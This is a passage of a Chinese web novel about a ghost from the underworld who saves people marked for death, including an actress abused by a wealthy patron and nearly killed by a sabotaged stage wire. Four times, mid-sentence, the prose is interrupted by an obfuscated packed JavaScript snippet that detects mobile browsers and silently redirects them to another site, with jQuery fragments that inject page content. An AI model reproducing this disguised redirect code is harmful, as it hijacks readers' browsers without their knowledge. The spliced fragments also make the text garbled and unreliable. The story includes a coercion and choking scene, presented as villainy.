筱筱将秦羽拉到一边，小声说：“我知道他，他叫许廉杰，也是咱们人间特别行动小组的。” “是么？”秦羽对他没什么印象。 这次人间特别行动小组行动地图范围很大，成员非常多，秦羽怎么会记得那么多组员都长什么样子，还是筱筱厉害，她似乎一直对人有过目不忘的本领，不像她，是个脸盲。 几分钟后，老板终于将物品和钱都清点好，交到许廉洁的手里：“小伙子慢走，欢迎下次光临啊！” 他扛着个大袋子，刚出小卖部便消失了。 筱筱一焦虑就开始揪头发：“奇怪，他怎么会有那么多钱呢。” 秦羽刚刚一直在偷偷观察他买了哪些东西，既然是同组的，相必他买的东西多半是为了执行任务，他走后，秦羽挑了些自己能买得起的物件，比如小型探照灯，人类呼吸侦测器，遮阳伞，小电棍……其他一些贵的东西，比如收音机，定位器什么的，她都买不起。 她开始盘算起来，觉得还是应该在人间打份工，赚点人民币就可以买那些东西了，不过区别是，人间买的东西她只能在人间使用，回到地府前要先保存好，而地府买的东西就方便些，可以随身待着，即使变成人，东西也可以随她的想法改变外貌和形态。 * “感情中不被爱的那一方才是第三者！” 屏幕里正播着最近很火的连续剧，秦羽这会儿没什么活干，倚在柜台上和蓉蓉一起看电视剧。 她前几天在人间找到了一份咖啡店的工作，老板很爽快，没让她提供身份证和学历证明之类的，直接就录取了她。 蓉蓉是个大学生，平时课业不忙的时候就来勤工俭学，她干了一年多了，不管是制作咖啡还是招待客人都很得心应手，秦羽这两天和她学了不少东西。 电视剧里正演到恶毒女配利用自己的美貌和心机，诱惑女主老公出轨，还当着女主的面挑衅和侮辱，甚至还威胁要动女主的小孩。 “太过分了！我都恨不得进去扇她两巴掌！这种女人真不要脸！”蓉蓉气得脸通红，明显是看进去了。 秦羽托腮:“一个巴掌拍不响，我看这个男人也问题挺大的！” “要不是这坏女人主动勾引，她老公不会这么容易就出轨，男人嘛，都一样，喜新厌旧，都不是什么好东西！” “喝点饮料吧。”秦羽递了瓶可乐给她，“电视剧而已，别当真，气到自己就不值当了。” 电视剧的结尾曲响起，今天刚出的两集已经播完了。 蓉蓉接过饮料喝了几口，随后拿起手机开始冲浪，没一会儿，她突然变得异常兴奋。 “小羽你看！黄玲玲上热搜啦！” 黄玲玲是电视剧里恶毒女配的名字。 秦羽凑过来，瞟了几眼，网上目前最热的词条是:“黄玲玲不要脸”，“黄玲玲真贱”，“柳絮曾经知三当三”，“柳絮和大学老师被爆丑闻”。 现在的网友是真吓人，一个电视剧而已，居然给女配都骂上热搜了。 蓉蓉冷笑:“怪不得柳絮演得这么好，原来是本色出演啊！” 秦羽这才反应过来，柳絮就是电视剧中黄玲玲的扮演者，网友们骂骂电视剧里的角色就好了，怎么还上升到演员了，真是离谱。 蓉蓉低着头一直在翻评论，看到解气的评论就狂狂点赞，一顿操作下来，她气倒是消了不少。 三点到了，秦羽该下班了。 她为了方便打工，这次用了副女大学生的皮囊，正午的阳光太毒，她选了上午十点到下午三点的工作时间段。 前几天秦羽的运气一般，有次刚发现一个中年女人身上的灯亮了，没一会儿她突然倒在地上，秦羽及时拨打了120，救护车到时她已经断气了。 在医院偷看了她的死亡报告，是突发的脑溢血，似乎是有家族遗传病史。总之，是秦羽没办法干预的状况。 昨天秦羽遇到了个闪着红灯的小伙子，他骑着电瓶车，开得飞快，她跟在他后面狂追，不料一个轿车冲过来，直接给他撞飞了，当场死亡。 小伙子骑车都不看红绿灯的，这……神仙也救不了啊。 唯一成功的一单在昨天晚上，秦羽在商场遇到一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289555|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻女孩一直闪红灯，这次秦羽早早的化成人形，紧紧的跟着她，坐自动扶梯时，她的长裙卷进了台阶缝隙里，险些被齿轮带进去，秦羽及时掏出一把大剪刀，迅速斩断了裙子，救了她一命。 当时的情况非常紧急，秦羽现在想起来还有些后怕，还好她在地府小卖部买了些杂七杂八的东西，关键时候还真能用得上。 今天不知道运气如何，秦羽飘了一会儿，只找到两个将死的老人，说来也可怜，有个老人家里只有自己，她头发花白，坐在沙发上看电视，不知道为什么，她这么大岁数了，身边竟然没有一个亲人陪着。 秦羽在家里找到了她与孩子们的合照，她有三个孩子，两个儿子和一个女儿，女儿应该是在国外定居，两个儿子一个在稍远的城市定居，一个在F市定居。 她的老伴前些年已经死了，秦羽在卧室柜子上发现了她老伴的遗照。 家里只有一只狸花猫，它好像能看到秦羽，有时会对着她的方向喵喵的叫。 秦羽离开前突然想到，如果现在给老人的儿子打电话会怎么样，如果她在F市的儿子可以过来陪着老人，老人难受的时候第一时间送去医院会不会有一线生机，又或者老人临死前有亲人在身边陪伴，会不会走的安详一点。 反正现在也没有别的目标，秦羽决定留在这里试一试。 她趁老人上厕所的功夫，偷偷用手机给老人的儿子发了短消息，又偷偷删掉。 等了半小时，那边还没有回复，秦羽有些着急，又偷偷给那边打了一个电话，想着如果接通了，她就不说话，马上挂掉，相信一般人遇到这种情况，一定会胡思乱想，再打电话过来，或者是直接赶过来确认老人的健康情况。 可事与愿违，电话那边没有人接听。 秦羽有些难过，老人还在沙发前安静的看电视，电视里播着很古早的电视剧，她好像累了，一会儿醒着看几眼，一会儿又睡着了。 她的脸上铺满皱纹，身体很瘦弱，秦羽想到了前世的奶奶，她们真的很像。 爷爷没得早，奶奶独自一人生活了很多年。 奶奶死前几年，爸爸将奶奶接到家里住，奶奶那时候就开始糊涂了，经常收集一些不用的废纸和袋子，全部放在自己床垫子下面，如果你问她这些是做什么的，为什么要放在床底下，她甚至想不起来自己是什么收集的，更别提有什么用了。 再之后，奶奶会拉着她说些很多年的事情，一遍又一遍，她似乎压根不记得自己已经讲过很多遍了。 阿兹海默症。 目前似乎没有治愈的可能。 她时而清醒，时而糊涂。神奇的是，生命的最后一天里，奶奶变得非常清醒，她把秦羽叫到屋子里，给了秦羽一对银镯子，说要替她好好保存。 她下午独自一人洗了个澡，对着镜子梳理好头发，晚上跟家人好好的吃了一顿饭后，半夜突然心脏衰竭，死在了床上。 奶奶过世后，秦羽哭了很多天，那是她第一次面对死亡。 不知道老人现在在想些什么，做的梦是否香甜，也许她早就做好了准备，知道自己会这样孤独的死去。 秦羽很失落，狸花猫蜷在老人的脚下，她不敢再次面对像奶奶一样的老人在她面前死去，虽然……她已经是个死人了。 9. 凌晨两点 凌晨一点，路上的行人明显变少，万家灯火多数已熄灭，整个城市都变得安静了。 秦羽回到香城小区，从六楼阳台飘进房间里，床上的男人打着呼噜，看起来睡得很香甜。秦羽飘到沙发上，将身子蜷缩起来，准备休息一会儿。 鬼魂其实也是需要休息的，不然身体会变沉，如果一直不休息，就会慢慢失去飘行的能力，变得只能和人一样，用两只脚走路。 秦羽需要一个休息的地方，想来想去，她觉得蓝哲家是个不错的地方，沙发软乎乎的，屋子里比较干净，房间里也没有什么让她感觉到害怕的东西。 更关键的是，蓝哲长得还不赖，每天能看到他的脸，也算作为她辛苦工作一天的安慰吧。 他不是奶油小生型的，秦羽对当今时代流行的审美保持怀疑态度，新出的男明星大多脸都白白的，嫩嫩的，年纪很小，留着偏分或中分的长头发，穿着打扮嘛，时尚中总透着一点小娘味。 秦羽生前喜欢看港剧或美剧，里面的男人又man又性感，蓝哲有点像秦羽曾经喜欢过的一个香港男明星，双眉浓密，眼睛深邃，鼻梁高挺，嘴唇很薄，身材修长挺拔，腹肌明显……总之，是秦羽喜欢的那一挂。 前两天她都在这里留宿，凌晨后过来，早上再离开。 经过两天的观察，秦羽知道了一些蓝哲的生活背景，他在警察局工作，具体是什么职位不清楚，但衣柜里有几身警察的制服，他是个单身狗，这间房子是他租的，不过他好像有喜欢的女生，抽屉里放着一个礼盒，看那包装应该是为了哪个女生准备的。 他每天早上一般七点走，晚上不知道几点回来的，反正秦羽回来的时候，他一般都在睡觉。 今晚可能是想到了奶奶，秦羽情绪有些低落，往常她几乎是粘沙发就睡着，可今天她翻来覆去的，怎么都睡不着。 除了奶奶，秦羽还想到了爸爸和妈妈，他们生活在北方很远的小城市，她前不久回去看过一次，他们现在过得还可以，爸爸退休后开启了老年生活，闲时钓钓鱼，喝喝茶，妈妈喜欢跟朋友们一起打麻将，不过妈妈一直有心脏病，秦羽很担心妈妈会不会有一天像她一样，突然就走了。 她经常会想念他们，但她没办法时常回去，一来是地府有明文规定，入职后无重大情况不允许回去照看家人，说什么他们加入地府工作是为了服务大众的，不应该为一己私利怠慢本职工作，二来是因为正常人看到鬼魂是会折寿的，尤其是亲人，亲人虽然没有特殊能力可以看到其他鬼魂，但因为内心虔诚，对死去的亲人过于思念，可能会在某一瞬间突然有了能力，看到逝去的亲人。 秦羽可不想爸妈折寿，她就算回去，也是偷偷躲起来，远远的看上几眼而已。 不过亲人将死之时，她是可以提前感知到的，现在她没什么感觉，便是最好的消息。文书上说，人间特别行动小组每个季度会给优秀的办事员奖励优厚的奖金和一个延生符。 秦羽对奖金兴趣不太大，延生符才是她最想要的东西。 相传，延生符可以让将死的人起死回生，甚至可以增加十年阳寿。 死前的人生里，父母为她煞费心血呵护备至，她没办法活着孝顺父母，只能在死后尽些心力了。 凌晨两点多，秦羽放弃了，既然睡不着，不如去楼下转转，楼下有家烧烤店，她每晚路过都能闻到香味，就是不知道现在打烊了没有。 反正失眠也不会让她再死一次，秦羽爬起来穿过门，在黑漆漆的楼道里戴上发夹，为了晚上出门方便，她选了一个壮汉的皮囊。 卧室内，床上的蓝哲睁开眼睛，快速套了一身衣服，悄悄打开门，跟了出去。 他倒要看看这个天天赖在他家不走的女人，每天都在干些什么。 * “大哥，打烊了吗？” 秦羽站在烧烤店门口，店里顾客很少，有个人在烤架前忙来忙去，应该就是老板了。 “哥，你来得巧，我这刚要收拾东西呢，你要是想吃，我就再做一单！” “好啊，我吃我吃！” 秦羽这身皮囊高出老板一头还多，一身腱子肉，声音粗狂，怪不得老板反过来管他叫哥，态度还这么好。 秦羽拿了一份烧烤菜单，勾了些牛肉、碎骨、掌中宝、鸡架什么，忽而想到咖啡店的工资是月结，她现在囊中羞涩，只能划掉了一些，边点边算钱，尽力控制好成本。 “老板，就这些！” 秦羽将点菜单递到老板手里，他盯着这份反复涂改过的菜单，又瞅了一眼对面的彪形大汉，陷入了深思。 这么大的块头就吃这么点？ 是不是没钱啊？ 还是忘记带钱了……不应该了，现在都是手机支付了，扫码就行，难道手机里也没钱吗？ 老板思考了一会儿，得出的结论是：这人可真是个穷b，但我不敢惹，还是乖乖给他做得了，多一事不如少一事，淡定淡定。 今天的月亮蛮漂亮，天气也不冷，秦羽在外面找了个小桌子，坐下来后感觉凳子太小了，挺硌屁股，开口问：“老板，你这有没有大一点的板凳？” 老板满脸问号，在烟熏火燎的空气中回道：“屋子里柜台旁边有一个，我在忙，麻烦你自己进去拿一下吧。” “哦，好。” 秦羽进屋后，老板盯着彪形大汉刚刚坐过的小板凳，心想，这个憨批屁股那么大，别再给他板凳做坏了。 烧烤的味道真是太香了，秦羽一顿狂炫，只可怜了在一旁偷偷观察的蓝哲。 看得到，闻得到，就是吃不到。 蓝哲打了个哈欠，在黑暗中点了支烟。 这女人半夜出门居然是为了吃烧烤，真是浪费了他刚刚做的好梦。 秦羽将最后的鸡架啃了个干干净净，糖醋味的，她可太喜欢吃了。离开前，在老板无语的注视下，她又嗦啰了一遍吃剩下的骨头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289556|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦羽心想:等发工资了，我要一口气炫十个糖醋鸡架！ 回小区的路上，蓝哲跟在秦羽的身后，肚子咕咕的叫，要不是怕打草惊蛇，高低他也得整两个糖醋鸡架。 糟糕，如果她回去发现自己不见了，也许会起疑。 蓝哲打算换条更近更快的小道，分开前他发现这女人走的方向不对，她突然掉转了方向，往小区反方向走了。 蓝哲偷偷跟着，这么晚了，她到底去哪啊，是不是除了他家，她还有别的地方可以睡。 她走了两条街，最后在一家商铺门口停下来，伸长脖子往窗户里面看。 蓝哲藏到一辆车后面，暗中观察。 十分钟后，她突然变得有些着急，跑到桌子下的暗处，几秒后，她丢掉彪形大汉的外皮，换成了自己的样子。 不过，无论她变成什么样子，蓝哲总能一眼看穿她。 她穿过窗户，不见了，蓝哲不知道里面到底发生了，只能以不变应万变，几分钟后，他发现商铺的窗户里有一抹红色，应该是着火了。 蓝哲开始纠结，到底要不要现身去救她，没等他犹豫，窗户里的红色突然消失，她从窗户里穿出来，手里拿着一只小型灭火器。 咦，这灭火器是哪来的？ 蓝哲一眨眼的功夫，灭火器便不见了，她戴上一只发夹，即刻变回了彪形大汉。 噢，原来这发夹是机关啊，怪不得上次她变的小姑娘也戴着这只发夹。 她的心情似乎不错，回小区一路都在哼着歌，还是陶喆的歌，《你爱我还是他》，副歌调太高，她扯着嗓子喊，反正路上也没什么人，她越唱越嗨…… 看来他猜的不错，借宿在他家的女人还真是个拯救苍生于水火的大英雄啊。 蓝哲加快脚步，换了另一条近道。 秦羽回到公寓房间，看了看床上的蓝哲，他闭着眼睛，胸部起伏均匀，不知道在做什么美梦。 秦羽心情不错，下楼吃烧烤的功夫又成了一单，而且这一单很不一样，一下子救了三个人的命，绩效是按人头算的，这单真是赚翻了。 她在火势很小的时候，第一时间浇灭了火源，如果去晚了真烧大了，她就没办法救了。 那家人在卧室里睡得挺香，从头到尾都没发现外厅的一根电线漏电，突然起火了。 躺到沙发上，秦羽打了个哈欠很快便睡着了。 这次换成蓝哲失眠了，他刚刚亲眼看到这女人轻轻松松就救了一家人，真是太厉害了。 他小时候看了许多武侠片，惩恶扬善的宗旨深深的刻在了脑子里，因此他从小就立志，长大后要成为一个大英雄，他的成绩不算好，但在不懈的努力下还是考上了警校，毕业后顺利当上了警察。 他不知道秦羽到底有什么神奇的能力，似乎有未卜先知的本领，救小志是一次，刚才救火又是一次。 如果……他也有那样的神奇能力就好了。 10. 跨年夜 “蓉蓉，你今天怎么来这么早？” 秦羽提前了半小时过来，看到蓉蓉已经换好衣服，准备跟上一班进行工作交接了。 “我睡不着，今天起的特别早。” “是不是因为昨天你喝太多咖啡了？” 秦羽不喜欢咖啡的味道，从来只是给客人做，自己不会喝，但蓉蓉经常会喝，她说自己天生就喜欢咖啡豆的味道，所以才找了份咖啡馆的兼职。 “不是，我对咖啡早就免疫了，喝多少都能睡得着。” “噢，最好是啦。” 蓉蓉做完手边的几单，突然凑到秦羽的旁边，秦羽看到她这兴奋的表情，一定是憋了什么八卦要说了。蓉蓉平时很关注实时新闻消息，准确的说，是明星们的小道八卦消息。 秦羽死了很多年了，与社会多少有些脱节，新出的明星啊演员啊，她统统不认识，所以蓉蓉跟她分享的时候，她都默默的听着，偶尔点点头，很少起新的话题。 “昨晚我搞清楚了黄玲玲的所有，不对，是柳絮！” 她说出这句话的时候，表情相当自豪，秦羽想，也许她不做咖啡，将来去当娱乐记者会大有作为。 “所以你昨晚睡不着，是因为柳絮？” 蓉蓉有些不好意思的笑了笑：“你知道的，有些瓜我没吃明白，我不搞清楚绝对睡不好觉！” 秦羽叹了口气：“……我就知道。” “好了，你快听我说嘛！” 秦羽知道再打断她，她可能会憋死，于是边刷咖啡杯，边听蓉蓉讲。 柳絮，今年26岁，家庭条件一般，小时候爸妈就离婚了 ，她一直跟着妈妈生活。她大学读的是一个二本学校，根本不是表演科班出身，会踏入演艺圈，是因为大学勤工俭学时拍的一个平面广告。她身材高挑，比例均匀，身上多余的肉都知道该长在哪，脸属于那种气质型的，也不是说眼睛有多大，鼻子有多挺，而是五官凑在一起很有韵味，要说最有特点的应该是她的嘴唇，她的嘴唇偏厚，肉嘟嘟的，是妈生的那种性感，不是后天硬弄出来的，早年出道时眼神很清澈，现在逐渐走上了熟女路线，清澈慢慢变成了微醺，也是别有一种风味。 以上是柳絮的基本信息，显然蓉蓉的重点不是这些，她的重点主要在柳絮的各种花边绯闻上，据说她大学时就和一位老师搞在一起了，那个老师当时已经有家世了，但柳絮硬是要和老师在一起，最后还怀了小孩，老师不同意离婚，柳絮只好将孩子打掉。 柳絮刚开始拍戏时，只能在不知名的网剧里演些丫鬟之类的小角色，观众们根本记不住她，大概是四年前吧，她突然开始拍很正经的电视剧，角色也从不显眼的路人上升到了重要的配角，甚至有两部电视剧她还饰演了女一号。 可能是因为形象，可能是因为命，柳絮当主角的电视剧总是显得很普通，给观众留不下什么印象，而她当配角的几部戏，都表现得非常亮眼，观众看完后都把她深深的记在了心里，不过多数人大概是像蓉蓉一样，是把对角色的恨意记在了心里。 “你知道她为什么现在资源这么好吗？”蓉蓉讲到关键的地方，一双眼睛都在发光。 “不知道……” “她现在背后有金主了，就是众合集团的少爷，高阳，你听说过吗？” “呃，听说过一点。”秦羽其实完全没听说过。 “对，就是他！他的桃色新闻更多呢，他家的家族产业很大，其中也涉及到一些影视行业，如果哪个演员能跟他搭上关系，在演艺圈顺风顺水再容易不过了。有狗仔拍到，柳絮和高阳深夜在某豪华酒店出来，要说他俩没有一腿，谁信呢！不过，这个柳絮确实和高公子之前的那些女朋友长得有些类似，可能他就喜欢那种类型的吧，有点媚的，身材好的……” 正说着，电视上传来片头曲的声音，蓉蓉的注意力全部转移了，急道：“先看，先看，回头再跟你说！” “好。”秦羽将柜台上的垃圾收拾干净，等待下一位顾客的光临。 今天的剧情火药味升级了，黄玲玲真的去幼儿园找到了女主的女儿，还拍了张照片发给女主，以示威胁，说如果不同意和男主离婚，就要将父母感情破裂的事情告诉她女儿。女主收到照片后飞奔而来，跑到黄玲玲的公司去，准备大闹一番，结果被渣男及时出现给阻止了。渣男居然护着黄玲玲跟女主说，有什么事情回家解决，别闹到人尽皆知，丢人。 看到这段时，蓉蓉咬牙切齿，接连捏断了几个吸管，秦羽逗她玩，说这可是公家的东西，弄坏了要赔的，蓉蓉气鼓鼓的说，她今天没戴眼镜，想凑近些看，柜台这边先留她一个人守着，秦羽说好。 “一杯冰咖啡，谢谢！” 一个女人出现了柜台前面，秦羽刚刚看得入神，吓了一跳。 “请问你要哪种咖啡呢？” “美式。” “美式可能有些苦，您需要加些糖吗？” “不用。” “好的，请稍等。” 秦羽低头开始制作咖啡，心想今天不用费力找寻目标了，这不是直接给她送来一个。 “小心烫……请慢走。” 秦羽将咖啡交到她手里，她穿了一件咖色的长风衣，戴着鸭舌帽和口罩，包的挺严实，秦羽只能看到她的一双眼睛。等咖啡时她也聚精会神的看电视上的连续剧，果然，最近这个连续剧太吸引人了。 “谢谢。”她离开之前接了个电话，语气有些不耐烦，“知道了，知道了，我马上就过来。” “真是个贱女人！”蓉蓉边看边骂。 秦羽注意到那女人的身形似乎顿了一下，难道……秦羽心里有个想法，但不是很确定。 “蓉蓉，我学校突然有点急事，得回去一趟，今天恐怕我得请假了……”秦羽快速脱掉工服，一副马上就要走的样子。 “好，我知道了。”蓉蓉有些不情不愿的返回柜台。 * 红色保时捷开了很久，最终在一处巨大的中式宅院前停下。 秦羽在空中欣赏这座沿湖而建的宅院，真是绝，里面有假山，有小湖，有园林，有好几幢别墅耸立，这占地面积少说也得三四千平。虽说这周围还有很多处类似的宅院，但从空中看，这一处宅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289557|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院是面积最大的，地理位置也是最好的。 秦羽感叹：有钱人的生活真是难以想象啊。 那女人下车后，将钥匙交给别人，自己则又上了一辆黑色轿车，宅院的大门缓缓打开，黑色轿车顺着马路驶入宅院，拐了几个弯，最终到达湖边最大的一幢别墅门前。 别墅门口站了一些穿黑衣服的人，个个长得身形健硕，耳朵上都戴着耳机，不知道在交流些什么。 女人在门口站了几分钟，别墅大门突然打开，一个高高瘦瘦的男人跑出来，说道：“哎哟，大小姐，你怎么才来啊，高总刚才都生气了！” “剧组那边临时有些事，耽搁了。” 高瘦男明显不大开心，示意女人赶紧进去，道：“一会儿进去小心点伺候，今天高总心情不太好，别怪我没提醒你。” 女人踏入别墅，将风衣脱掉，摘下口罩，交给走过来的仆人。秦羽跟在她身边，终于看清楚了她的样貌。 秦羽没猜错，这个女人果然是蓉蓉这几天频频八卦的女演员……柳絮。 不过，她本人看起来比连续剧中要瘦多了，她本来就高，如今瘦成这个样子，秦羽估算，她的体重顶多就八十斤。不只身材有差异，她整个人的精气神也和剧里相差很多。剧里的她每次出现都神采奕奕的，气血很足，说话声音很大，可这会儿她的精神感觉明显有些萎靡，虽然顶着浓妆，但整个人看起来还是有些憔悴。 大厅的沙发上坐着个男人，此刻端着红酒杯，饶有兴致的看着门口的柳絮。他年纪看着不大，但眼神让人不寒而栗，穿了身墨色的丝质睡衣，慵懒得伸了个拦腰。 “对不起，我来晚了。”柳絮的声音有些颤，秦羽能感觉到她很害怕。 “过来。”男人的声音不怒自威。 柳絮攥紧拳头，一步一步向前走。 沙发上的男人满意的笑了笑，他向身后扫了一眼，房间里的三个黑衣男子立刻走了出去。 柳絮走到沙发前的地毯上停下脚步，那张地毯色彩华丽，制作精良，上面的花朵好像有生命力一般，张着大嘴，似乎想将地上的女人吞没。 “开始吧。”男人又是一笑，眼神里尽是玩味，“还需要我亲自动手吗？” 柳絮的身子开始颤抖，一只手摸到衬衣领口的扣子，闭着眼睛，一颗一颗的解开。 男人喝了口红酒，目光盯在她胸口露出的皮肤上，突然皱眉：“你怎么瘦了？” 柳絮回答的声音很小：“最近有部戏需要减重……” 男人神情有些不耐烦的打断他，“我不是说过，不让你再减肥了吗，你之前的样子就很好。” “可是……” “没有可是，哪部戏让你减肥的，你告诉我。” “我……” 柳絮不敢说，她怕像上次一样，这个男人一旦出手，别说导演倒霉，就连这部戏可能都会直接没了。她已经为这部戏，准备了许久，她不希望有任何意外发生。 “对不起，我知道了，我会恢复成原来的样子。” 男人轻笑，细长的手指捏住她的脸：“乖。” 11. 跨年夜 柳絮跪在地上，眼睛红红的，秦羽都看不下去了，柳絮明显是被强迫的，她的脸色惨白，身子在抖。 这个变态。 秦羽必须得想办法干预一下了，烟灰缸里有未熄灭的烟头，她准备用念力将烟头丢在地毯上。 但出乎意料的是，她试了几次，竟使不出来力气。 奇怪了。 秦羽还是第一次遇到这种情况，她在大厅飘了一圈，最终在房间的角落发现了一尊佛像和一些符咒。 她一靠近，身体就会变得软绵绵的，更加使不上力。 应该是这些符咒搞得鬼。 柳絮上半身的衣服几乎脱光了，男人满意的点点头，随后将冰凉的手指放在她的脖颈上，轻柔的扫了几下，然后突然发力。 柳絮喘不上气，脸部逐渐扭曲，最后憋得通红。 她没有挣扎，她知道挣扎也没有用。 男人冷哼一声，松开了她，任由她狼狈的摔在殷红色的地毯上。 秦羽暂时想不到别的办法，但看柳絮身上的灯闪烁频率正常，说明此刻这个男人应该对她没有杀心。 “前几天你是不是见他了？”男人坐回沙发上，声音中透着阴狠劲。 一阵剧烈的咳嗽后，柳絮充红的双眼看向男人：“我们只是偶然碰到。” 男人明显不满意这个回答，冷哼一声，随后将手里的高脚杯倾斜。 冰凉的红酒在柳絮脸上流淌到身上，她的双手攥成拳头，又松开。 这种级别的侮辱，这些年她承受得多了，只要全部忍下来，一鸣和弟弟就不会有事了。 男人开始大笑，似乎对她的恭顺很满意。 “记住，你的命，他们的命，都攥在我手里，你最好乖乖听话。” “好，我会的。” 男人起身向电梯方向走了，路过她时在她耳边轻轻说了一句:“没事了，滚吧。” 柳絮用纸巾擦了擦头发，刚刚发生的一切对她来说似乎不算什么，她没哭，而是眼神坚毅的看着窗外。 秦羽对她心生敬意，如果换作是她，承受这么大的压力和侮辱，恐怕早就崩溃了。 离开别墅后，秦羽觉得浑身都舒服了，正午的阳光太毒，她跟着柳絮上了车，决定继续观察她的生活，看看她还有什么危险。 车子开动起来，秦羽望着那栋别墅越来越远，视线中别墅的旁边突然多了一个身影，那人一身黑衣，侧脸有些熟悉，但秦羽也不太确定是不是他。 车子上，柳絮打了个电话，她神情紧张，话语间十分关切，听她的对话，应该是打给她弟弟的，弟弟的名字叫柳江，大学即将毕业，当确定弟弟最近无事发生后，柳絮明显松了口气。 下午，柳絮先是拍了些时尚杂志的封面，接着赶到F市最大的体育场馆参加彩排，今晚是跨年夜，柳絮会在跨年晚会上演唱一首歌曲。 秦羽跟了她一下午，发现她在工作中是个非常认真的人，连续两个小时的封面拍摄中，她没有任何抱怨，竭力配合，最终得到的作品摄影师非常满意。节目彩排时，有些明星就是走个过场而已，而她则认真的备唱，唱完一遍后，又去和音响师和灯光师沟通，为了让晚上的演出可以更精彩，舞台导演提出让她副歌时吊上威亚，在空中做些展翅飞翔的动作，她没什么怨言，直接答应了。 秦羽寸步不离的跟着她，她晚上没吃什么东西，只喝了一点白粥。 她的助理是个有些胖的短发女人，看起来年纪比她大一些，做事情有时候毛手毛脚的，不过柳絮对她的态度不错，看起来柳絮的性格真是挺宽容的，和秦羽想象中爱耍大牌的女明星一点都不一样。 演出开始前，柳絮在试衣间里换衣服，秦羽再次感叹，她现在真的太瘦了，浑身几乎没什么多余的肉。 看着她凸起明显的锁骨，秦羽突然有些心疼她。现在的审美真离谱，女明星一个个都恨不得瘦成纸片人，也不知道到底是谁喜欢看柴火身材。 她的手机没消停过，每次一打开就是铺天盖地的通知和消息。 秦羽在一旁跟着看过几次，基本多数是一些黑粉的私信，骂的多难听的都有，这些黑粉和蓉蓉一样，都是因为看了最近的电视剧被黄玲玲这个角色气到了。 好在柳絮被骂麻木了，看到那些消息时，她的情绪不会有太大起伏，匆匆扫过就将那些消息删掉了。 不过，秦羽发现她真正在意的是那条跟大学老师有关系的热搜，每次看手机时都忍不住看一下词条下面的评论，看完又生气的关掉手机。 距离演出开始还剩十分钟了，柳絮踩着高跟鞋，穿着银白色的礼服，出现在舞台下方的候场区，待会儿主持人报完幕，舞台便会缓缓升起。 八万人的体育馆里，今晚座无虚席，秦羽能听到场馆里观众们巨大的欢呼声。 柳絮闭着眼睛等待，此刻她的脸美得令人窒息。 秦羽站在她身边，想到马上就要登台看到那么多的观众，她竟然也有一些紧张，不过更令她在意的是，柳絮身上的红灯突然闪的厉害，如果不出意外的话，意外就要发生了。 可会是什么意外呢？ 秦羽开始检查舞台的升降机关，虽然她不太懂具体的原理，但这么大的舞台应该不会临时出什么事故，比如突然坠落之类的。 接着，她又飘到舞台上方，发现上面其实没什么可以突然掉下来砸到柳絮的东西。 最后，秦羽把目光落在柳絮礼服后面的威亚机关处。 她有种预感，如果此刻谁想单要柳絮的命，这个机关便是最容易动手的地方。 熟悉的前奏响起，柳絮睁开眼睛，目光所到之处皆是观众的应援棒，她的声音婉转动听，一开口便镇住了全场的观众。 现场和网络上，大家纷纷讨论。 “没想到柳絮唱歌这么好听，当演员真是被埋没了啊！” “唱的这么好，快出专辑吧！” “柳絮好像瘦了不少，但是好美啊！” “柳絮的口红色号是什么？急求！” “其实柳絮的演技挺好的，不然不会这么招人恨。” …… 副歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289558|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部分马上要到了，舞台侧面冲出来个工作人员，将天上落下来的威亚勾环扣在她礼服后面的机关上。 秦羽仔仔细细的盯着机关链接的地方，没看出有什么问题来，但秦羽不敢冒这种风险，趁副歌没开始前，她将上面的绳子切断了。 威亚绳子慢慢升到空中，舞台上的柳絮一动未动，灯光照在她的身上，她不动声色继续完成剩下的表演。 她身上的灯不再闪了。 果然，秦羽猜得没错，有人想害她，想让她消失在这个世界上，甚至用了这么残忍的手段，居然想在千万观众面前结束她的生命。 可以肯定的是，那个想害她的人绝对在现场。 